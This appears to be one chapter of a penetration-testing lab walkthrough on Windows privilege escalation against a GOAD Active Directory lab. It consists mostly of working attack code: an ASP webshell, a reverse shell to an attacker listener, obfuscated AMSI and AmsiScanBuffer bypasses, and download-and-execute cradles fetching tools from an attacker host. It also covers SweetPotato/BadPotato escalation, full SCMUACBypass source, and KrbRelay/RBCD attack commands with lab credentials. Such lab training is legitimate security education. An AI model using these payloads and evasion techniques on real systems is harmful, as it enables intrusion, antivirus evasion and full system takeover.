Skip to content

7

Privilege Escalation

If you browse to http://192.168.10.22/ you will find a simple asp.net application with some simple file upload functionality for us to demonstrate some attacks on.

asp.net upload page

Attacking IIS

We should try and uplod a simple webshell to the target to see if we can exploit this upload feature.

basic webshell
<%
Function getResult(theParam)
    Dim objSh, objResult
    Set objSh = CreateObject("WScript.Shell")
    Set objResult = objSh.exec(theParam)
    getResult = objResult.StdOut.ReadAll
end Function
%>
<HTML>
    <BODY>
        Enter command:
            <FORM action="" method="POST">
                <input type="text" name="param" size=45 value="<%= myValue %>">
                <input type="submit" value="Run">
            </FORM>
            <p>
        Result :
        <% 
        myValue = request("param")
        thisDir = getResult("cmd /c" & myValue)
        Response.Write(thisDir)
        %>
        </p>
        <br>
    </BODY>
</HTML>
We can upload successfully upload files to the web server.

webshell upload

If we navigate to the /upload/webshell.asp path we can interact with our webshell. Running whoami in our command input box shows that we can successfully execute commands.

whoami

Whoami /all shows that out user has some interesting privleges that we can attempt to use for priviledge escalation once we get a shell.

whoami /all

Lets use our python program to see if we can obtain a reverse shell on the server via our minimal webshell.

base64 encoded reverse shell creation
python3 ps-revshell-encoded.py 10.10.10.6 4444

ps revshell

We can start a listener and then execute this command into our webshell to try and get a reverse shell.

listening for reverse shell
rlwrap ncat -nvlp 4444

revshell on server

Privesc

Now that we have established a shell on the server, we need to escalate our privileges.

Bypassing AMSI

There are plenty of ways to bypass the Windows Defender Anti-Malware Scan Interface. Some publicly released methods are located here & on amsi.fail

Another novel technique that is working at the time of writing can be found here. For ease, we will just apply some light modifications to one of the more popular public bypasses.

Matt Graeber's second reflection method
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)
Modified Matt Graeber
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
Once we have done that we can use RastaMouse's amsi.dll AmsiScanBuffer bypass to get around AMSI at the .NET level.

RastaMouse AmsiScanBuffer Bypass
# Patching amsi.dll AmsiScanBuffer by rasta-mouse
$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
After running the reflection bypass we can then host the .NET level bypass on an attacker webserver and load it remotely onto the target.
python3 -m http.server 8080
Downloading our bypass and loading remoting on target
(new-object system.net.webclient).downloadstring('http://10.10.10.6:8080/rastabypass.txt')|IEX
The True output tells us that everything worked as planned. bypassing amsi

This will free us up to run tooling that would normally be flagged and killed by AV.

WinPeas FTW!

Probably the best tool out there right now for finding privilege escalation vectors on Windows is Carlos Polop's WinPeas. (He taught a free training workshop at Hack Space Con 23 on this amazing tool.)

We can run the WinPeas .NET assembly completely in memory, due to our bypass. So let's demonstrate how to do that here.

First we need to grab the latest release and add it to our python webserver.

wget "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe"
Next we will use PowerShell to reflectively load our .NET assembly into memory on the target.
Reflective Load of Assembly
$data=(New-Object System.Net.WebClient).DownloadData('http://10.10.10.6:8080/winPEASany_ofs.exe');
$asm = [System.Reflection.Assembly]::Load([byte[]]$data);
$out = [Console]::Out;$sWriter = New-Object IO.StringWriter;[Console]::SetOut($sWriter);
[winPEAS.Program]::Main("");[Console]::SetOut($out);$sWriter.ToString()

WinPeas will take a while to run and then will display a metric ton of valuable information for us as well as color coding potential privesc pathways. execute=assembly

Amongst several other escalation opportunities, it caught the SeImpersonatePrivilege of our current user that we alluded to during our initial webshell. seimpersonate winpeas

@Sh1tS3cur3 came up with a quicker and perhaps easier method for running .NET via powershell in his PowerSharpPack project.

Using this method is as simple as

PowerSharpPack
iex(new-object net.webclient).downloadString('http://10.10.10.6:8080/PowerSharpPack/PowerSharpPack.ps1')

PowerSharpPack -winPEAS
PowerSharpPack

The creator of the GOAD project has a powershell script called EncodeAssembly that combines a couple of techniques and allows us to our own custom compiled binaries in the same way. We would have to follow the methodologys outlined in this blog posting and make some modifications to our source code and modify the Program class's and Main method accessibility level to public prior to complilation. Also, avoid environment.exit() in your code. We will leave this as an exercise for the reader, but it is an excellent technique.

. .\EncodeAssembly.ps1
Invoke-EncodeAssembly -binaryPath winPEAS.exe -namespace winPEAS -capture $true

SeImpersonatePrivilege Escalation

With this privilege assigned to our current user, we can attempt to use one of the "Potato" family's exploit code. We will use a newer varient called SweetPotato for simplicity's sake you can grab from SharpCollection. This is an incredible repo of Nightly builds of commonly used .NET offsec tools and is maintained by Flangvik, who also authored amsi.fail.

downloading SweetPotato.exe
wget https://github.com/Flangvik/SharpCollection/blob/master/NetFramework_4.5_Any/SweetPotato.exe
Now we need to create a bat file that will run our PowerShell revershell upon execution and land us an NT Authority\System level shell.
prepping runme.bat
echo "@echo off" > runme.bat
echo "start /b $(python3 ps-revshell-encoded.py 10.10.10.6 4445)" >> runme.bat
echo "exit /b" >> runme.bat
runme.bat

We can add our malicious bat file to our python server and start a second listener on port 4445

rlwrap ncat -nvlp 4445
From within our current reverse shell session we will download our bat file along with the SweetPotato exploit to the server and run it
mkdir c:\temp
(new-object system.net.webclient).DownloadFile('http://10.10.10.6:8080/runme.bat', 'c:\temp\runme.bat')
(new-object system.net.webclient).DownloadFile('http://10.10.10.6:8080/SweetPotato.exe', 'c:\temp\SweetPotato.exe')

.\SweetPotato.exe -p runme.bat
If you opted to compile your own version you can make the necessary changes to the source code prior to compilation and run it completely without touching disk like so:

reflection method after modified original source code
# download sweet potato and compile with Visual Studio after making necessary modifications to source
mkdir c:\temp
(new-object system.net.webclient).DownloadFile('http://10.10.10.6:8080/runme.bat', 'c:\temp\runme.bat')
$data=(New-Object System.Net.WebClient).DownloadData('http://10.10.10.6:8080/SweetPotato.exe');
$asm = [System.Reflection.Assembly]::Load([byte[]]$data);
$out = [Console]::Out;$sWriter = New-Object IO.StringWriter;[Console]::SetOut($sWriter);

[SweetPotato.Program]::Main(@('-p=C:\temp\runme.bat'));[Console]::SetOut($out);$sWriter.ToString()
SweetPotato

If you have troubles with editing and compiling the source code you can use the PowerSharpPack implementation called BadPotato after bypassing AMSI.

# amsi bypass
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)

iex(new-object system.net.webclient).downloadstring('http://10.10.10.1:8080/rastabypass.txt')
iex(new-object net.webclient).downloadstring('http://10.10.10.6:8080/PowerSharpPack/PowerSharpBinaries/Invoke-BadPotato.ps1')
Invoke-BadPotato -Command "c:\temp\runme.bat"
badpotato

KrbRelay

KrbRelayUp Is a great tool that performs Kerberos relaying to LDAP and leverages Resource Based Constrained Delegation to get a service ticket to the local machine, authenticate to the local service manager and run a new service as system. Recent updates have added ADCS and ShadowCredential attacks to its feature set. The tool automates the more Manual approach of the attack. It will get detected by AV so lets try and go the manual root with the original KrbRelay exploit which we will clone and build in Visual Studio, and then transfer from our kali machine to the target.

In order to exploit this we need to ensure that LDAP signing isn't enforced. We already know this to be the case from the chapter on poisoning and relays but lets assume for a second that we don't.

cme -M ldap-checker
cme ldap 192.168.10.10-12 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M ldap-checker
check for signing disabled

creating a computer

Ok so the first requirement is met. Because this attack leverages RBCD, we need to ensure that the Machine Account Quota is set to allow us to add a computer.

The MAQ is set to 10 (which by the way, is the default Active Directory setting for some crazy reason) so we can attempt to add a computer.

addcomputer.py
addcomputer.py -computer-name 'krbrelay$' -computer-pass 'ComputerPassword' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'
adding computer

Next we need to get the SID of our newly created computer. If we already have a windows foothold we can do this with powershell.

Get krbrelay computer SID
# with ADModule
Get-ADComputer krbrelay -prop sid

# with ADSI as jon.snow
$o = ([ADSI]"LDAP://CN=krbrelay,CN=Computers,DC=north,DC=sevenkingdoms,DC=local").objectSID
(New-Object System.Security.Principal.SecurityIdentifier($o.value, 0)).Value
getsidad

Or since we are hackers, with Linux by using LDAP quieries remotely. There are tons of different tools to interact with LDAP via Linux.

windapsearch.py to get b64 SID
python3 windapsearch.py -d north.sevenkingdoms.local -u jon.snow@north.sevenkingdoms.local -p iknownothing -C --full | grep -20 'krbrelay'
windapsearch

Now we have the base64 encoded SID for our newly created computer, but we need to translate this into the windows S-1-5... SID format so we can pass it to other tooling. I found this script on stackoverflow that works wonderfully for this. We just have to change the OBJECT_ID parameter to whatever the ldap search tells us is the base64 version of our SID.

SID_Converter.sh
#!/bin/bash

# Base-64 encoded objectSid
OBJECT_ID="AQUAAAAAAAUVAAAAA14AzgOffNRlGAI0RQYAAA=="

# Decode it, hex-dump it and store it in an array
G=($(echo -n $OBJECT_ID | base64 -d -i | hexdump -v -e '1/1 " %02X"'))

# SID in HEX
# SID_HEX=${G[0]}-${G[1]}-${G[2]}${G[3]}${G[4]}${G[5]}${G[6]}${G[7]}-${G[8]}${G[9]}${G[10]}${G[11]}-${G[12]}${G[13]}${G[14]}${G[15]}-${G[16]}${G[17]}${G[18]}${G[19]}-${G[20]}${G[21]}${G[22]}${G[23]}-${G[24]}${G[25]}${G[26]}${G[27]}${G[28]}

# SID Structure: https://technet.microsoft.com/en-us/library/cc962011.aspx
# LESA = Little Endian Sub Authority
# BESA = Big Endian Sub Authority
# LERID = Little Endian Relative ID
# BERID = Big Endian Relative ID

BESA2=${G[8]}${G[9]}${G[10]}${G[11]}
BESA3=${G[12]}${G[13]}${G[14]}${G[15]}
BESA4=${G[16]}${G[17]}${G[18]}${G[19]}
BESA5=${G[20]}${G[21]}${G[22]}${G[23]}
BERID=${G[24]}${G[25]}${G[26]}${G[27]}${G[28]}

LESA1=${G[2]}${G[3]}${G[4]}${G[5]}${G[6]}${G[7]}
LESA2=${BESA2:6:2}${BESA2:4:2}${BESA2:2:2}${BESA2:0:2}
LESA3=${BESA3:6:2}${BESA3:4:2}${BESA3:2:2}${BESA3:0:2}
LESA4=${BESA4:6:2}${BESA4:4:2}${BESA4:2:2}${BESA4:0:2}
LESA5=${BESA5:6:2}${BESA5:4:2}${BESA5:2:2}${BESA5:0:2}
LERID=${BERID:6:2}${BERID:4:2}${BERID:2:2}${BERID:0:2}

LE_SID_HEX=${LESA1}-${LESA2}-${LESA3}-${LESA4}-${LESA5}-${LERID}

# Initial SID value which is used to construct actual SID
SID="S-1"

# Convert LE_SID_HEX to decimal values and append it to SID as a string
IFS='-' read -ra ADDR <<< "${LE_SID_HEX}"
for OBJECT in "${ADDR[@]}"; do
  SID=${SID}-$((16#${OBJECT}))
done

echo ${SID}
sidconverter

krbrelay on castelblack

Now lets rdp into castelblack as jon.snow, transfer the tools and attempt the attack. We need to run the CheckPort executable to find out what port SYSTEM is allowed through on the server.

.\CheckPort.exe
checkingport

Lastly, we need to compile SCMUACBypass.cpp to pop a System Shell by patching the Win32 API in Service Control Manager for using Kerberos tickets in local authentication.

SCMUACBypass.cpp
// This modifies the authentication to the local SCM to use Kerberos to abuse
// a UAC bypass through Kerberos tickets.
// See https://www.tiraniddo.dev/2022/03/bypassing-uac-in-most-complex-way.html

/* COMPILE USING Visual Studio DEVELOPER command prompt!!!!
cl -DUNICODE SCHMUACBypass.cpp advapi32.lib
*/


#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <security.h>
#include <stdio.h>
#include <string>
#include <strsafe.h>

#pragma comment(lib, "Secur32.lib")

static std::wstring spn;

SECURITY_STATUS SEC_ENTRY AcquireCredentialsHandleWHook(
    _In_opt_  LPWSTR pszPrincipal,                // Name of principal
    _In_      LPWSTR pszPackage,                  // Name of package
    _In_      unsigned long fCredentialUse,       // Flags indicating use
    _In_opt_  void* pvLogonId,                   // Pointer to logon ID
    _In_opt_  void* pAuthData,                   // Package specific data
    _In_opt_  SEC_GET_KEY_FN pGetKeyFn,           // Pointer to GetKey() func
    _In_opt_  void* pvGetKeyArgument,            // Value to pass to GetKey()
    _Out_     PCredHandle phCredential,           // (out) Cred Handle
    _Out_opt_ PTimeStamp ptsExpiry                // (out) Lifetime (optional)
)
{
    WCHAR kerberos_package[] = MICROSOFT_KERBEROS_NAME_W;
    printf("AcquireCredentialsHandleHook called for package %ls\n", pszPackage);
    if (_wcsicmp(pszPackage, L"Negotiate") == 0) {
        pszPackage = kerberos_package;
        printf("Changing to %ls package\n", pszPackage);
    }
    return AcquireCredentialsHandleW(pszPrincipal, pszPackage, fCredentialUse,
        pvLogonId, pAuthData, pGetKeyFn, pvGetKeyArgument, phCredential, ptsExpiry);
}

SECURITY_STATUS SEC_ENTRY InitializeSecurityContextWHook(
    _In_opt_    PCredHandle phCredential,               // Cred to base context
    _In_opt_    PCtxtHandle phContext,                  // Existing context (OPT)
    _In_opt_ SEC_WCHAR* pszTargetName,         // Name of target
    _In_        unsigned long fContextReq,              // Context Requirements
    _In_        unsigned long Reserved1,                // Reserved, MBZ
    _In_        unsigned long TargetDataRep,            // Data rep of target
    _In_opt_    PSecBufferDesc pInput,                  // Input Buffers
    _In_        unsigned long Reserved2,                // Reserved, MBZ
    _Inout_opt_ PCtxtHandle phNewContext,               // (out) New Context handle
    _Inout_opt_ PSecBufferDesc pOutput,                 // (inout) Output Buffers
    _Out_       unsigned long* pfContextAttr,  // (out) Context attrs
    _Out_opt_   PTimeStamp ptsExpiry                    // (out) Life span (OPT)
)
{
    // Change the SPN to match with the UAC bypass ticket you've registered.
    printf("InitializeSecurityContext called for target %ls\n", pszTargetName);
    SECURITY_STATUS status = InitializeSecurityContextW(phCredential, phContext, &spn[0], 
        fContextReq, Reserved1, TargetDataRep, pInput,
        Reserved2, phNewContext, pOutput, pfContextAttr, ptsExpiry);
    printf("InitializeSecurityContext status = %08X\n", status);
    return status;
}

int RunSystemProcess(const wchar_t* sid)
{
    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE, &hToken))
    {
        printf("Error opening process token %d\n", GetLastError());
        return 1;
    }
    HANDLE hPrimaryToken;
    if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, &hPrimaryToken))
    {
        printf("Error duplicating process token %d\n", GetLastError());
        return 1;
    }

    DWORD session_id = wcstoul(sid, nullptr, 0);
    if (!SetTokenInformation(hPrimaryToken, TokenSessionId, &session_id, sizeof(session_id)))
    {
        printf("Error setting session ID %d\n", GetLastError());
        return 1;
    }

    STARTUPINFO start_info = {};
    WCHAR desktop[] = L"WinSta0\\Default";
    start_info.cb = sizeof(start_info);
    start_info.lpDesktop = desktop;
    start_info.wShowWindow = SW_SHOW;

    WCHAR cmdline[] = L"cmd.exe";
    PROCESS_INFORMATION proc_info = {};
    if (!CreateProcessAsUser(hPrimaryToken, nullptr, cmdline, nullptr, nullptr, FALSE,
        CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info))
    {
        printf("Error creating process %d\n", GetLastError());
        return 1;
    }

    CloseHandle(proc_info.hProcess);
    CloseHandle(proc_info.hThread);
    printf("Created process ID %d\n", proc_info.dwProcessId);

    return 0;
}

std::wstring GetExecutablePath()
{
    WCHAR path[MAX_PATH];
    if (GetModuleFileName(nullptr, path, MAX_PATH) != 0)
    {
        return path;
    }
    printf("Error getting executable path %d\n", GetLastError());
    return L"";
}

int wmain(int argc, wchar_t** argv)
{
    if (argc > 1)
    {
        return RunSystemProcess(argv[1]);
    }

    PSecurityFunctionTableW table = InitSecurityInterfaceW();
    table->AcquireCredentialsHandleW = AcquireCredentialsHandleWHook;
    table->InitializeSecurityContextW = InitializeSecurityContextWHook;

    WCHAR computer_name[1000];
    DWORD size = _countof(computer_name);
    if (!GetComputerName(computer_name, &size))
    {
        printf("Error getting computer name %d\n", GetLastError());
        return 1;
    }

    spn = L"HOST/";
    spn += computer_name;

    std::wstring exe = GetExecutablePath();
    if (exe.empty())
    {
        return 1;
    }

    DWORD session_id = 0;
    ProcessIdToSessionId(GetCurrentProcessId(), &session_id);

    WCHAR cmdline[MAX_PATH];
    StringCbPrintf(cmdline, sizeof(cmdline), L"\"%ls\" %d\n", exe.c_str(), session_id);

    SC_HANDLE hScm = OpenSCManagerW(L"127.0.0.1", nullptr, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
    if (!hScm)
    {
        printf("Error opening SCM %d\n", GetLastError());
        return 1;
    }

    SC_HANDLE hService = CreateService(hScm, L"UACBypassedService", nullptr, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
        SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, cmdline, nullptr, nullptr, nullptr, nullptr, nullptr);
    if (!hService)
    {
        printf("Error creating service %d\n", GetLastError());
        return 1;
    }

    if (!StartService(hService, 0, nullptr))
    {
        printf("Error starting service %d\n", GetLastError());
        return 1;
    }

    return 0;
}

After transfering all our binaries, we can launch krbrelay applying the SPN we want, CLSID for our target architecture, the SID we calculated for our newly created machine and the port we just identified.

KrbRelay.exe
.\KrbRelay.exe -spn ldap/winterfell.north.sevenkingdoms.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-3456130563-3564936963-872552549-1605 -port 10
Now we can use Rubeus via PowerSharpPack to finish the attack after bypassing AMSI.
PowerSharpPack -rubeus
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)

iex(new-object system.net.webclient).downloadstring('http://10.10.10.6:8080/amsi_rmouse.txt')
iex(new-object net.webclient).downloadstring('http://10.10.10.6:8080/PowerSharpPack/PowerSharpPack.ps1')

PowerSharpPack -rubeus -Command "hash /password:ComputerPassword"
PowerSharpPack -rubeus -Command "s4u /user:krbrelay$ /rc4:0EDDEDC35EB7B7ECDE0C9F0564E54C83 /impersonateuser:administrator /msdsspn:host/castelblack /ptt"
And after all that we can run our SCMUACBypass.exe and hopefully pop a system shell!
.\SCMUACBypass.exe
In the system shell you can remove the malicious service we created in the previous step.
sc delete UacBypassedService

krbrelay with PSP

Remotely, from Linux we could use impacket to perform the RBCD portion as well.

RBCD from Linux
getTGT.py -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'krbrelay$':'ComputerPassword'
export KRB5CCNAME=./krbrelay\$.ccache
getST.py -impersonate 'administrator' -spn 'CIFS/castelblack.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'krbrelay$'
export KRB5CCNAME=/workspace/administrator@CIFS_castelblack.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
wmiexec.py -k @castelblack.north.sevenkingdoms.local

getTGT getST wmiexec ataexec

Required reading on these attack primitives:

Next: Part 8: Windows Lateral Movement